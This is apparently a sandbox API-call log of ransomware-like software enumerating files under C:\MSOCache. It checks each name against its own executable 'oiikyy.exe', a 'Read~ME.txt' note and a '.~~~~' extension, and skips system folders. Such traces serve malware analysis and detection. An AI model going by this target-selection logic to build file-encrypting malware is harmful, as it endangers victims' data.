	[0063.998] RtlWakeConditionVariable () returned 0x365f48
	[0063.999] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x39d750 | out: hHeap=0x300000) returned 1
	[0063.999] FindNextFileW (in: hFindFile=0x37a808, lpFindFileData=0x27df50c | out: lpFindFileData=0x27df50c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x43f88c00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x43f88c00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xfe076d70, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x978, dwReserved0=0x0, dwReserved1=0x0, cFileName="Setup.xml", cAlternateFileName="")) returned 1
	[0063.999] lstrcmpiW (lpString1="Setup.xml", lpString2="Windows") returned -1
	[0063.999] lstrcmpW (lpString1="Setup.xml", lpString2="oiikyy.exe") returned 1
	[0063.999] StrStrW (lpFirst="Setup.xml", lpSrch=".~~~~") returned 0x0
	[0063.999] lstrcmpW (lpString1="Setup.xml", lpString2="Read~ME.txt") returned 1
	[0063.999] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3e67d8
	[0063.999] GetCurrentThreadId () returned 0x618
	[0063.999] GetCurrentThreadId () returned 0x618
	[0063.999] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x39dc08
	[0063.999] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3e6b20
	[0063.999] RtlWakeConditionVariable () returned 0x365f48
	[0063.999] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3e67d8 | out: hHeap=0x300000) returned 1
	[0063.999] FindNextFileW (in: hFindFile=0x37a808, lpFindFileData=0x27df50c | out: lpFindFileData=0x27df50c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x2fb48f00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x2fb48f00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xfc967850, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x29c6dbd, dwReserved0=0x0, dwReserved1=0x0, cFileName="WordLR.cab", cAlternateFileName="")) returned 1
	[0063.999] lstrcmpiW (lpString1="WordLR.cab", lpString2="Windows") returned 1
	[0063.999] lstrcmpW (lpString1="WordLR.cab", lpString2="oiikyy.exe") returned 1
	[0063.999] StrStrW (lpFirst="WordLR.cab", lpSrch=".~~~~") returned 0x0
	[0063.999] lstrcmpW (lpString1="WordLR.cab", lpString2="Read~ME.txt") returned 1
	[0063.999] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3e67d8
	[0064.000] GetCurrentThreadId () returned 0x618
	[0064.000] GetCurrentThreadId () returned 0x618
	[0064.000] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x39dc40
	[0064.000] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3e6bc8
	[0064.000] RtlWakeConditionVariable () returned 0x365f48
	[0064.000] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3e67d8 | out: hHeap=0x300000) returned 1
	[0064.000] FindNextFileW (in: hFindFile=0x37a808, lpFindFileData=0x27df50c | out: lpFindFileData=0x27df50c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x3e02ab00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x3e02ab00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xfc8a9170, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x267e00, dwReserved0=0x0, dwReserved1=0x0, cFileName="WordMUI.msi", cAlternateFileName="")) returned 1
	[0064.000] lstrcmpiW (lpString1="WordMUI.msi", lpString2="Windows") returned 1
	[0064.000] lstrcmpW (lpString1="WordMUI.msi", lpString2="oiikyy.exe") returned 1
	[0064.000] StrStrW (lpFirst="WordMUI.msi", lpSrch=".~~~~") returned 0x0
	[0064.000] lstrcmpW (lpString1="WordMUI.msi", lpString2="Read~ME.txt") returned 1
	[0064.000] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3e67d8
	[0064.000] GetCurrentThreadId () returned 0x618
	[0064.000] GetCurrentThreadId () returned 0x618
	[0064.000] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x39dc78
	[0064.000] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3e6c70
	[0064.001] RtlWakeConditionVariable () returned 0x365f48
	[0064.001] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3e67d8 | out: hHeap=0x300000) returned 1
	[0064.001] FindNextFileW (in: hFindFile=0x37a808, lpFindFileData=0x27df50c | out: lpFindFileData=0x27df50c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x43f88c00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x43f88c00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xfc8a9170, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x708, dwReserved0=0x0, dwReserved1=0x0, cFileName="WordMUI.xml", cAlternateFileName="")) returned 1
	[0064.001] lstrcmpiW (lpString1="WordMUI.xml", lpString2="Windows") returned 1
	[0064.001] lstrcmpW (lpString1="WordMUI.xml", lpString2="oiikyy.exe") returned 1
	[0064.001] StrStrW (lpFirst="WordMUI.xml", lpSrch=".~~~~") returned 0x0
	[0064.001] lstrcmpW (lpString1="WordMUI.xml", lpString2="Read~ME.txt") returned 1
	[0064.001] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3e67d8
	[0064.001] GetCurrentThreadId () returned 0x618
	[0064.001] GetCurrentThreadId () returned 0x618
	[0064.001] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x39dcb0
	[0064.001] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3e6d18
	[0064.001] RtlWakeConditionVariable () returned 0x365f48
	[0064.001] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3e67d8 | out: hHeap=0x300000) returned 1
	[0064.001] FindNextFileW (in: hFindFile=0x37a808, lpFindFileData=0x27df50c | out: lpFindFileData=0x27df50c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x43f88c00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x43f88c00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xfc8a9170, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x708, dwReserved0=0x0, dwReserved1=0x0, cFileName="WordMUI.xml", cAlternateFileName="")) returned 0
	[0064.001] FindClose (in: hFindFile=0x37a808 | out: hFindFile=0x37a808) returned 1
	[0064.002] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3e67d8
	[0064.002] GetCurrentThreadId () returned 0x618
	[0064.002] GetCurrentThreadId () returned 0x618
	[0064.002] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x39dce8
	[0064.002] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3e6dc0
	[0064.002] RtlWakeConditionVariable () returned 0x365f48
	[0064.002] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3e67d8 | out: hHeap=0x300000) returned 1
	[0064.002] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3ea520 | out: hHeap=0x300000) returned 1
	[0064.004] FindNextFileW (in: hFindFile=0x37a7c8, lpFindFileData=0x27df7c0 | out: lpFindFileData=0x27df7c0*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xf00dbad0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xf58c8770, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xf58c8770, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{90140000-002C-0409-1000-0000000FF1CE}-C", cAlternateFileName="{92787~1")) returned 1
	[0064.004] lstrcmpiW (lpString1="{90140000-002C-0409-1000-0000000FF1CE}-C", lpString2="Windows") returned -1
	[0064.004] lstrcmpW (lpString1="{90140000-002C-0409-1000-0000000FF1CE}-C", lpString2=".") returned 1
	[0064.004] lstrcmpW (lpString1="{90140000-002C-0409-1000-0000000FF1CE}-C", lpString2="..") returned 1
	[0064.004] lstrcmpW (lpString1="{90140000-002C-0409-1000-0000000FF1CE}-C", lpString2="AppData") returned -1
	[0064.004] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C", lpSrch="AppData") returned 0x0
	[0064.004] lstrlenW (lpString="C:\\Windows") returned 10
	[0064.004] lstrcmpiW (lpString1="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C", lpString2="C:\\Windows") returned -1
	[0064.004] lstrlenW (lpString="C:\\System Volume Information") returned 28
	[0064.004] lstrcmpiW (lpString1="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C", lpString2="C:\\System Volume Information") returned -1
	[0064.004] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xfffe) returned 0x3ea520
	[0064.005] FindFirstFileW (in: lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\*", lpFindFileData=0x27df50c | out: lpFindFileData=0x27df50c*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xf00dbad0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xf58c8770, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xf58c8770, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x37a808
	[0064.283] lstrcmpiW (lpString1=".", lpString2="Windows") returned -1
	[0064.284] lstrcmpW (lpString1=".", lpString2=".") returned 0
	[0064.284] lstrcmpW (lpString1=".", lpString2="oiikyy.exe") returned -1
	[0064.284] StrStrW (lpFirst=".", lpSrch=".~~~~") returned 0x0
	[0064.284] lstrcmpW (lpString1=".", lpString2="Read~ME.txt") returned -1
	[0064.284] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x39d750
	[0064.284] GetCurrentThreadId () returned 0x618
	[0064.515] GetCurrentThreadId () returned 0x618
	[0064.515] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x35ca08
	[0064.515] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x39ed00
	[0064.515] RtlWakeConditionVariable () returned 0x365f48
	[0064.515] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x39d750 | out: hHeap=0x300000) returned 1
	[0064.515] FindNextFileW (in: hFindFile=0x37a808, lpFindFileData=0x27df50c | out: lpFindFileData=0x27df50c*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xf00dbad0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xf58c8770, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xf58c8770, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0064.515] lstrcmpiW (lpString1="..", lpString2="Windows") returned -1
	[0064.515] lstrcmpW (lpString1="..", lpString2=".") returned 1
	[0064.516] lstrcmpW (lpString1="..", lpString2="..") returned 0
	[0064.516] lstrcmpW (lpString1="..", lpString2="oiikyy.exe") returned -1
	[0064.516] StrStrW (lpFirst="..", lpSrch=".~~~~") returned 0x0
	[0064.516] lstrcmpW (lpString1="..", lpString2="Read~ME.txt") returned -1
	[0064.516] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x39d750
	[0064.516] GetCurrentThreadId () returned 0x618
	[0064.516] GetCurrentThreadId () returned 0x618
	[0064.516] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x39dd20
	[0064.516] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x39e528
	[0064.516] RtlWakeConditionVariable () returned 0x365f48
	[0064.516] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x39d750 | out: hHeap=0x300000) returned 1
	[0064.516] FindNextFileW (in: hFindFile=0x37a808, lpFindFileData=0x27df50c | out: lpFindFileData=0x27df50c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xf01c0310, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xf07b3a10, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xf07b3a10, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Proof.en", cAlternateFileName="")) returned 1
	[0064.516] lstrcmpiW (lpString1="Proof.en", lpString2="Windows") returned -1
	[0064.516] lstrcmpW (lpString1="Proof.en", lpString2=".") returned 1
	[0064.516] lstrcmpW (lpString1="Proof.en", lpString2="..") returned 1
	[0064.516] lstrcmpW (lpString1="Proof.en", lpString2="AppData") returned 1
	[0064.516] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en", lpSrch="AppData") returned 0x0
	[0064.516] lstrlenW (lpString="C:\\Windows") returned 10
	[0064.516] lstrcmpiW (lpString1="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en", lpString2="C:\\Windows") returned -1
	[0064.516] lstrlenW (lpString="C:\\System Volume Information") returned 28
	[0064.516] lstrcmpiW (lpString1="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en", lpString2="C:\\System Volume Information") returned -1
	[0064.516] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xfffe) returned 0x27e0048
	[0064.517] FindFirstFileW (in: lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\*", lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xf01c0310, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xf07b3a10, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xf07b3a10, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x77c73c74, dwReserved1=0x77c73ca3, cFileName=".", cAlternateFileName="")) returned 0x37a848
	[0064.518] lstrcmpiW (lpString1=".", lpString2="Windows") returned -1
	[0064.518] lstrcmpW (lpString1=".", lpString2=".") returned 0
	[0064.518] lstrcmpW (lpString1=".", lpString2="oiikyy.exe") returned -1
	[0064.518] StrStrW (lpFirst=".", lpSrch=".~~~~") returned 0x0
	[0064.518] lstrcmpW (lpString1=".", lpString2="Read~ME.txt") returned -1
	[0064.518] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xf01c0310, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xf07b3a10, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xf07b3a10, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x77c73c74, dwReserved1=0x77c73ca3, cFileName="..", cAlternateFileName="")) returned 1
	[0064.518] lstrcmpiW (lpString1="..", lpString2="Windows") returned -1
	[0064.518] lstrcmpW (lpString1="..", lpString2=".") returned 1
	[0064.518] lstrcmpW (lpString1="..", lpString2="..") returned 0
	[0064.518] lstrcmpW (lpString1="..", lpString2="oiikyy.exe") returned -1
	[0064.518] StrStrW (lpFirst="..", lpSrch=".~~~~") returned 0x0
	[0064.518] lstrcmpW (lpString1="..", lpString2="Read~ME.txt") returned -1
	[0064.518] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x219b4a00, ftCreationTime.dwHighDateTime=0x1cad01b, ftLastAccessTime.dwLowDateTime=0x219b4a00, ftLastAccessTime.dwHighDateTime=0x1cad01b, ftLastWriteTime.dwLowDateTime=0xf07b1ad0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0xaf35ed, dwReserved0=0x77c73c74, dwReserved1=0x77c73ca3, cFileName="Proof.cab", cAlternateFileName="")) returned 1
	[0064.518] lstrcmpiW (lpString1="Proof.cab", lpString2="Windows") returned -1
	[0064.519] lstrcmpW (lpString1="Proof.cab", lpString2="oiikyy.exe") returned 1
	[0064.519] StrStrW (lpFirst="Proof.cab", lpSrch=".~~~~") returned 0x0
	[0064.519] lstrcmpW (lpString1="Proof.cab", lpString2="Read~ME.txt") returned -1
	[0064.519] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xb0) returned 0x39e5c0
	[0064.519] GetCurrentThreadId () returned 0x618
	[0064.519] GetCurrentThreadId () returned 0x618
	[0064.519] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x39dd58
	[0064.519] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xb0) returned 0x39e678
	[0064.519] RtlWakeConditionVariable () returned 0x365f48
	[0064.519] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x39e5c0 | out: hHeap=0x300000) returned 1
	[0064.519] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x4db6cb00, ftCreationTime.dwHighDateTime=0x1cad01b, ftLastAccessTime.dwLowDateTime=0x4db6cb00, ftLastAccessTime.dwHighDateTime=0x1cad01b, ftLastWriteTime.dwLowDateTime=0xf020c5d0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0xd5c00, dwReserved0=0x77c73c74, dwReserved1=0x77c73ca3, cFileName="Proof.msi", cAlternateFileName="")) returned 1
	[0064.519] lstrcmpiW (lpString1="Proof.msi", lpString2="Windows") returned -1
	[0064.519] lstrcmpW (lpString1="Proof.msi", lpString2="oiikyy.exe") returned 1
	[0064.519] StrStrW (lpFirst="Proof.msi", lpSrch=".~~~~") returned 0x0
	[0064.519] lstrcmpW (lpString1="Proof.msi", lpString2="Read~ME.txt") returned -1
	[0064.519] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xb0) returned 0x39e5c0
	[0064.519] GetCurrentThreadId () returned 0x618
	[0064.519] GetCurrentThreadId () returned 0x618
	[0064.519] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x39dd90
	[0064.519] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xb0) returned 0x39e730
	[0064.519] RtlWakeConditionVariable () returned 0x365f48
	[0064.520] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x39e5c0 | out: hHeap=0x300000) returned 1
	[0064.520] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xa38b7300, ftCreationTime.dwHighDateTime=0x1cad01b, ftLastAccessTime.dwLowDateTime=0xa38b7300, ftLastAccessTime.dwHighDateTime=0x1cad01b, ftLastWriteTime.dwLowDateTime=0xf01be3d0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x543, dwReserved0=0x77c73c74, dwReserved1=0x77c73ca3, cFileName="Proof.xml", cAlternateFileName="")) returned 1
	[0064.520] lstrcmpiW (lpString1="Proof.xml", lpString2="Windows") returned -1
	[0064.520] lstrcmpW (lpString1="Proof.xml", lpString2="oiikyy.exe") returned 1
	[0064.520] StrStrW (lpFirst="Proof.xml", lpSrch=".~~~~") returned 0x0
	[0064.520] lstrcmpW (lpString1="Proof.xml", lpString2="Read~ME.txt") returned -1
	[0064.520] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xb0) returned 0x39e5c0
	[0064.520] GetCurrentThreadId () returned 0x618
	[0064.520] GetCurrentThreadId () returned 0x618
	[0064.520] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x39ddc8
	[0064.520] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xb0) returned 0x39e7e8
	[0064.520] RtlWakeConditionVariable () returned 0x365f48
	[0064.520] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x39e5c0 | out: hHeap=0x300000) returned 1
	[0064.520] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xa38b7300, ftCreationTime.dwHighDateTime=0x1cad01b, ftLastAccessTime.dwLowDateTime=0xa38b7300, ftLastAccessTime.dwHighDateTime=0x1cad01b, ftLastWriteTime.dwLowDateTime=0xf01be3d0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x543, dwReserved0=0x77c73c74, dwReserved1=0x77c73ca3, cFileName="Proof.xml", cAlternateFileName="")) returned 0
	[0064.520] FindClose (in: hFindFile=0x37a848 | out: hFindFile=0x37a848) returned 1
	[0064.520] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xb0) returned 0x39e5c0
	[0064.520] GetCurrentThreadId () returned 0x618
	[0064.520] GetCurrentThreadId () returned 0x618
	[0064.520] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x39de00
	[0064.521] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xb0) returned 0x3fa698
	[0064.521] RtlWakeConditionVariable () returned 0x365f48
	[0064.521] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x39e5c0 | out: hHeap=0x300000) returned 1
	[0064.521] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27e0048 | out: hHeap=0x300000) returned 1
	[0064.521] FindNextFileW (in: hFindFile=0x37a808, lpFindFileData=0x27df50c | out: lpFindFileData=0x27df50c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xf4d53d90, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xf4f690d0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xf4f690d0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Proof.es", cAlternateFileName="")) returned 1
	[0064.521] lstrcmpiW (lpString1="Proof.es", lpString2="Windows") returned -1
	[0064.521] lstrcmpW (lpString1="Proof.es", lpString2=".") returned 1
	[0064.521] lstrcmpW (lpString1="Proof.es", lpString2="..") returned 1
	[0064.521] lstrcmpW (lpString1="Proof.es", lpString2="AppData") returned 1
	[0064.521] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es", lpSrch="AppData") returned 0x0
	[0064.521] lstrlenW (lpString="C:\\Windows") returned 10
	[0064.521] lstrcmpiW (lpString1="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es", lpString2="C:\\Windows") returned -1
	[0064.521] lstrlenW (lpString="C:\\System Volume Information") returned 28
	[0064.521] lstrcmpiW (lpString1="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es", lpString2="C:\\System Volume Information") returned -1
	[0064.521] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xfffe) returned 0x27e0048
	[0064.521] FindFirstFileW (in: lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\*", lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xf4d53d90, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xf4f690d0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xf4f690d0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x77c73c74, dwReserved1=0x77c73ca3, cFileName=".", cAlternateFileName="")) returned 0x37a848
	[0064.535] lstrcmpiW (lpString1=".", lpString2="Windows") returned -1
	[0064.535] lstrcmpW (lpString1=".", lpString2=".") returned 0
	[0064.535] lstrcmpW (lpString1=".", lpString2="oiikyy.exe") returned -1
	[0064.535] StrStrW (lpFirst=".", lpSrch=".~~~~") returned 0x0
	[0064.536] lstrcmpW (lpString1=".", lpString2="Read~ME.txt") returned -1
	[0064.536] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xf4d53d90, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xf4f690d0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xf4f690d0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x77c73c74, dwReserved1=0x77c73ca3, cFileName="..", cAlternateFileName="")) returned 1
	[0064.536] lstrcmpiW (lpString1="..", lpString2="Windows") returned -1
	[0064.536] lstrcmpW (lpString1="..", lpString2=".") returned 1
	[0064.536] lstrcmpW (lpString1="..", lpString2="..") returned 0
	[0064.536] lstrcmpW (lpString1="..", lpString2="oiikyy.exe") returned -1
	[0064.536] StrStrW (lpFirst="..", lpSrch=".~~~~") returned 0x0
	[0064.536] lstrcmpW (lpString1="..", lpString2="Read~ME.txt") returned -1
	[0064.536] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x3ba05100, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x3ba05100, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xf4f690d0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0xd02aea, dwReserved0=0x77c73c74, dwReserved1=0x77c73ca3, cFileName="Proof.cab", cAlternateFileName="")) returned 1
	[0064.536] lstrcmpiW (lpString1="Proof.cab", lpString2="Windows") returned -1
	[0064.536] lstrcmpW (lpString1="Proof.cab", lpString2="oiikyy.exe") returned 1
	[0064.536] StrStrW (lpFirst="Proof.cab", lpSrch=".~~~~") returned 0x0
	[0064.536] lstrcmpW (lpString1="Proof.cab", lpString2="Read~ME.txt") returned -1
	[0064.536] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xb0) returned 0x39e5c0
	[0064.536] GetCurrentThreadId () returned 0x618
	[0064.536] GetCurrentThreadId () returned 0x618
	[0064.536] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x35c9d0
	[0064.536] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xb0) returned 0x3fa888
	[0064.536] RtlWakeConditionVariable () returned 0x365f48
	[0064.536] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x39e5c0 | out: hHeap=0x300000) returned 1
	[0064.536] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x3f33d800, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x3f33d800, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xf4e5c7f0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0xd7200, dwReserved0=0x77c73c74, dwReserved1=0x77c73ca3, cFileName="Proof.msi", cAlternateFileName="")) returned 1
